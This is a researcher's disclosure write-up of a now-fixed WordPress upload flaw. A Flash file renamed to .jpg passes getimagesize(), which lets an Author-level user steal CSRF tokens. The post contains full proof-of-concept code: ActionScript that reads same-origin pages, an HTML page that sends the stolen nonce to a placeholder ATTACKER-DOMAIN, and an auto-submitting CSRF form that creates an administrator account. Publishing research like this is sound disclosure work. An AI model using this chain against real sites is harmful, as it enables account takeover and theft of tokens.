In 2016, I was working on WordPress security, and today, I found an interesting finding. I am going to share it with you, so have a nice read.

Introduction

Before discussing the vulnerability, I want to talk about WordPress. For people who do not know WordPress, it is an open-source CMS based on PHP with millions of users worldwide and over 46 million downloads. For more statistics, visit this article. I started researching WordPress security, and since it is open-source, auditing code and functions would be an advantage for me. The source code is available here. As a side note, many hackers are trying to break WordPress because if anyone finds something, they can exploit it on many websites. Now, there is a company that pays $50K for any RCE in WordPress! More details are here.

Technical Details

I started black-box pen-testing against WordPress to save time and know how things work. There were a lot of files to audit, so I left it until I needed to see a specific function. The first thing you need to know is the users-roles:

  • Super Admin – somebody with access to the site network administration and other features.
  • Administrator – somebody with access to all the administration features within a single site.
  • Editor – somebody who can publish and manage posts, including the posts of other users.
  • Author – somebody who can publish and manage their posts.
  • Contributor – somebody who can write and manage their posts but cannot publish them.
  • Subscriber – somebody who can only manage their profile.

I checked the Capability_vs._Role_Table to familiarize myself with WordPress roles. So I started with the Subscriber role, but there was no good function that I could use to do something. The same thing was true for the Contributor role. While in the author role, I tried to upload dangerous files (swf, svg, HTML, etc.), but I couldn’t do that :(.

The most interesting thing was the upload functionality. I looked for the files responsible for that function. I started looking for the codes that do the upload thing. It took me a lot because there were a lot of files, and I had to read the WP reference. Here are the top related functions:

  • getimagesize() a PHP built-in function.
  • wp_check_filetype_and_ext() a WordPress function.
  • wp_check_filetype() a WordPress function.

I first noticed that they were taking the MIME type from the HTTP request and the extension from the filename. They rely on getimagesize(), and many PHP developers do not know the following :

The getimagesize() function will determine the size of any GIF, JPG, PNG, SWF, SWC, PSD, TIFF, BMP, IFF, JP2, JPX, JB2, JPC, XBM, or WBMP image file and return the dimensions along with the file type and a height/width text string to be used inside a normal HTML tag.

If you did not notice, the SWF file is supported as an image file! So we are able to upload a SWF file, and getimagesize() will return an array of the SWF file properties. It is like a TRUE for a security check!

I created a simple Flash file with the magic number CWS. After that, I changed the flash file extension to .JPG. Then I went to http://127.0.0.1/wordpress/wp-admin/media-new.php and uploaded it. And yeah, it got uploaded!

Object tag and Content-Type

Since I am controlling the first bytes I can trick flash plugin to run my JPG image as flash file, how?

The object tag has an attribute called TYPE that can enforce the response to load as specific Content-Type. In our case, we need to return the Content-Type header as application/x-shockwave-flash. This can be easily done using this:

1
<object data="Ourfile.ext" type="application/x-shockwave-flash"> 

Let’s summarize all the above:

  • We can upload a flash file from a low-level role to WordPress.
  • The flash file is hosted on the same domain, so SOP will not prevent this attack.
  • We can access page content using this method, which leads to reading CSRF tokens in HTML forms.
  • WordPress uploaded files are directly accessible http://127.0.0.1/wp-content/upload/{year}/{month}/{filename}.{ext}.

What do we need now?

  • A flash file that reads data from the exact origin and sends it to a cross-origin.
  • An HTML file that triggers the flash file and receives the data that the Flash file will send.
  • A file to create a CSRF request to add a new admin(optional since this can be done with the same file above).

First, let’s write the flash file, and here is what I wrote using ActionScript:

wp_poc.as

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.xml.*;
import flash.events.*;
import flash.net.*;

    /**
     * @author Abdullah Hussam
     */ 

    public class wp_poc extends Sprite{
 
        private var myloader:URLLoader;
        public function wp_poc() {
            myloader = new URLLoader();
            configureListeners(myloader);
            var target:String = root.loaderInfo.parameters.input;
            var request:URLRequest = new URLRequest(target);
            try {
                myloader.load(request);
            } catch (error:Error) {
                steal("Something went wrong!");
            }
        }

        private function configureListeners(dispatcher:IEventDispatcher):void {
            dispatcher.addEventListener(Event.COMPLETE, completeHandler);
   
        }
        private function completeHandler(event:Event):void {
            var myloader:URLLoader = URLLoader(event.target);
            steal(myloader.data);
        }
        private function steal(data:String):void{
            ExternalInterface.call("stealtoken", data);
        }
    }
    
    
}

I used the ExternalInterface.call function to call the JS function that I will include in my HTML file. This file sends a request to a certain page on the same origin and retrieves its data.

I complied my AS file using Flex SDK

C:\Users\Abdullah>C:\Users\Abdullah\Downloads\Compressed\bin\mxmlc.exe C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.as
Loading configuration file C:\Users\Abdullah\Downloads\Compressed\frameworks\flex-config.xml
C:\Users\Abdullah\Downloads\Compressed\bin\wp_poc.swf (1075 bytes)

Then, I changed .swf to .jpg (wp_poc.jpg) and uploaded it using the Author role. After that, I created the HTML file that would trigger the attack.

steal.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<title>WP PoC!</title>
<script>
function stealtoken(data) { 
var str = data; 
var n = str.lastIndexOf('wpnonce_create-user'); 
var result = str.substring(n + 28,n+38); 
alert('Your token is ' + result);
// Change the host here 
document.location="http://ATTACKER-DOMAIN/wordpress_csrf.php?token="+result; //change this link to attacker domain
}
</script>

<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" 
data="http://127.0.0.1/wordpress/wp-content/uploads/2017/10/wp_poc.jpg?input=http://127.0.0.1/wordpress/wp-admin/user-new.php">
<param name="AllowScriptAccess" value="always"></object>

The input parameter is the page where the Flash file will leak its content.

The last page which made the HTTP request is wordpress_csrf.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<form method="POST" name="csrf" action="http://127.0.0.1/wordpress/wp-admin/user-new.php"> 
      <input type="hidden" name="action" value="createuser" />
      <input type="hidden" name="&#95;wpnonce&#95;create&#45;user" value="<?php echo $_GET['token']; ?>" />
      <input type="hidden" name="&#95;wp&#95;http&#95;referer" value="&#47;wordpress&#47;wp&#45;admin&#47;user&#45;new&#46;php" />
      <input type="hidden" name="user&#95;login" value="Pwned" />
      <input type="hidden" name="email" value="admin&#64;admin&#46;com" />
      <input type="hidden" name="first&#95;name" value="evil" />
      <input type="hidden" name="last&#95;name" value="hacker" />
      <input type="hidden" name="url" value="" />
      <input type="hidden" name="pass1" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" />
      <input type="hidden" name="pass2" value="0mkNYGQBd&#33;C&amp;lVTj5kvB6kKj" />
      <input type="hidden" name="send&#95;user&#95;notification" value="1" />
      <input type="hidden" name="role" value="administrator" />
      <input type="hidden" name="createuser" value="Add&#32;New&#32;User" />
    </form>
	
<script>document.forms["csrf"].submit();</script>


You can see the attack in action here :



Here is the exploit flow:

wp


Remediation

After reporting this bug to the WordPress team through HackerOne, it took more than four months to fix it. They said it is hard to fix, so it will take a long time. However, this bug affected the WordPress core; all WordPress versions were vulnerable. The WordPress team rewarded me with $1337 and assigned a CVE for the finding.

The best thing to do is to use CDN for your content.

Conclusion

There are many things that we can consider in this write-up, like the usage of getimagesize(), for example, or the fact that even a jpg file is a security risk on your website. This method has been published many times, but developers still make the same mistakes.

Thank you for reading. I hope you learned something new.

If you like the write-up, you can re-tweet it :).